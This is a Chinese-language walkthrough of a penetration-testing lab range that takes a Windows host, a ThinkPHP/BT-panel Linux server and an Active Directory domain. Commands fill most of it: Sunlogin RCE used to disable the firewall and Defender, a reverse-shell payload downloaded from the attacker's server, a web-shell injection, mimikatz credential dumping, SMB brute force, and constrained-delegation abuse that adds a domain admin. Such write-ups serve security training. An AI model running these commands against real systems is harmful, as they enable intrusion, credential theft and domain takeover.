虚拟机网络配置:

拓扑图:

信息搜集

扫描存活主机和端口

这里外网win2016靶机有开防火墙,所以需要加个-d参数绕过防火墙进行端口扫描,但是这里扫的时候出了点问题,不过多试几次也能扫出来开放了5985端口(WinRM服务)和49773端口

后面发现这样来扫会更快

nmap -sC -sV -p- 192.168.150.137 -n -vv --min-rate=2000

其中49773端口不知道是开着什么服务

扫目录也没发现啥有用信息

接着利用指纹识别工具observer_ward扫一下发现是向日葵服务(第一次使用的话使用-u 参数从指纹库中更新指纹

漏洞利用

可以利用前段时间爆出来的向日葵远程rce漏洞,通过工具sunRce进行命令执行

查看防火墙状态发现是打开的,于是通过命令执行将其关闭

./sunRce -h 192.168.150.137 -p 49773 -c "netsh advfirewall show allprofile state" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "netsh advfirewall set allprofiles state off" -t rce

再执行命令tasklist /svc发现开着Defender,并命令执行将其关闭,但是它实时保护还是开着,上传的木马还是会被df杀掉

./sunRce -h 192.168.150.137 -p 49773 -c "tasklist /svc" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "set-MpPreference -DisableRealtimeMonitoring $true" -t rce

所以我们可以制作免杀马或者通过powershell的这条语句执行策略绕过

./sunRce -h 192.168.150.137 -p 49773 -c "powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\"" -t rce

msf生成木马并开启web服务

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.128 lport=4444 -f exe > test.exe
python -m http.server 80

下载文件并执行

./sunRce -h 192.168.150.137 -p 49773 -c "powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.150.128/test.exe','C:\Users\Administrator\test.exe')" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "cd C:\Users\Administrator;dir" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "start C:\Users\Administrator\test.exe" -t rce

msf成功上线

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.128
run

进入后信息收集一波

在桌面发现需要测试的地址.txt

然后这里猕猴桃抓密码还是没结果

根据上次的经验,我们将进程迁移到x64位上去

再执行一下即可获取到密码

普通用户的话可以抓下来本地用mimikatz读取

reg save hklm\sam sam.hive
reg save hklm\system system.hive

lsadump::sam /sam:sam.hive /system:system.hive

也可以通过cs生成木马来实现上线

信息收集

利用hashdump或者猕猴桃抓取密码

最后解码得到管理员和普通用户密码:administrator/win2008;ash/qweASD123

在桌面找到文件需要测试的地址.txt

portscan扫描发现192.168.100.131,存在22、80、3333、8888端口,可以知道用了宝塔

内网渗透

上传frp客户端建立代理

./frps -c ./frps.ini

frpc.exe -c ./frpc.ini &

通过msf查看浏览器的历史记录

run post/windows/gather/forensics/browser_history

用sqllite打开它,执行如下语句,可以发现几个有用的路径信息

select url from moz_places

但是访问都是报400

这时候回想起前面我们dump下来的需要测试的地址.txt,猜测应该要host碰撞

通过工具hostscan可以发现192.168.100.131对应的域名地址是www.cJO6w10YLS.com

然后修改一下host头可以发现是thinkphp 5.0

搜一下这个版本的漏洞看到有个5.X的rce

https://www.freebuf.com/articles/web/289860.html

尝试发现system会被宝塔拦截,不过eval没有被ban,可以用eval写马

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

phpinfo也会被拦,还可以通过file_put_contents写文件,但是当前的目录没有权限不可写,需要目录穿越到根目录下

通过三次url编码的加密成功写入

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=%3C?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?%3E

然后蚁剑连接时还需要编写一下蚁剑的编码规则以及host即可成功连接

'use strict';

  // ##########    请在下方编写你自己的代码   ###################
function forceEncode(s) {
  return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
  const payload = data['_']
  data[pwd] = forceEncode(forceEncode(payload));
  delete data['_'];
  console.log(data);
  return data;
}

连上后发现命令都是不可执行的,说明存在disable_function

这里我们可以使用php7-gc-bypass绕过disable_function并执行系统命令

信息收集发现还有个192.168.88.100的网卡

在/home/vulntarget路径下发现了key文件,将其dump下来

前面扫端口的时候就发现开放了ssh,所以尝试使用key连接ssh,最终尝试使用root成功登录

关闭防火墙

# 关闭防火墙
ufw disable
# 查看防火墙状态
ufw status

上传fscan扫一下内网,发现主机192.168.88.102开放了135、445、1433端口,存在SQL server服务

通过工具hydra爆破smb得到账号密码:administrator/admin@123

hydra -L user.txt -P pass.txt 192.168.88.102 smb

通过工具wmiexec.py远程执行成功上线

信息搜集发现还有个10.0.10的网卡

发现存在域vulntarget.com

关闭防火墙

netsh advfirewall set allprofiles state off
netsh advfirewall show allprofile state

然后使用下面的命令打开3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

成功进入远程桌面

约束性委派攻击

上传mimikatz、ADFindkekeo,探测win2008是否存在约束委派

mimikatz获取密码:win2008/qweASD123

# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonpasswords

查找约束性委派主机,可以发现存在约束委派

# 约束委派的查找
# -u 任意用户,-up 密码,-b 域, -f 委派属性
AdFind.exe -h 10.0.10.128 -u win2008 -up qweASD123  -b "DC=nami,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 清除票据缓存
mimikatz "privilege::debug" "kerberos::purge" "exit"

已经知道服务用户明文的条件下,可以使用kekeo请求win2008的TGT

# 请求该用户的TGT
# /user: 服务用户的用户名
# /password: 服务用户的明文密码
# /domain: 所在域名
# /ticket: 指定票据名称,不过这个参数没有生效,可以忽略
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
# 申请administrator权限的票据
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

利用mimikatz导入S4U2proxy阶段生成的ST

kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi

dir访问域控

dir \\WIN-1PV25H8UJPN.vulntarget.com\C$

然后net user添加一个域用户,并加入到域管理员中

net user admin123 admin@1234 /add /domain
net group "domain admins" admin123 /add /domain

最后使用wmiexec远程执行成功上线

后面维权可以看这篇文章

https://mp.weixin.qq.com/s/EBA7iUUs0wJcODdY1iybLg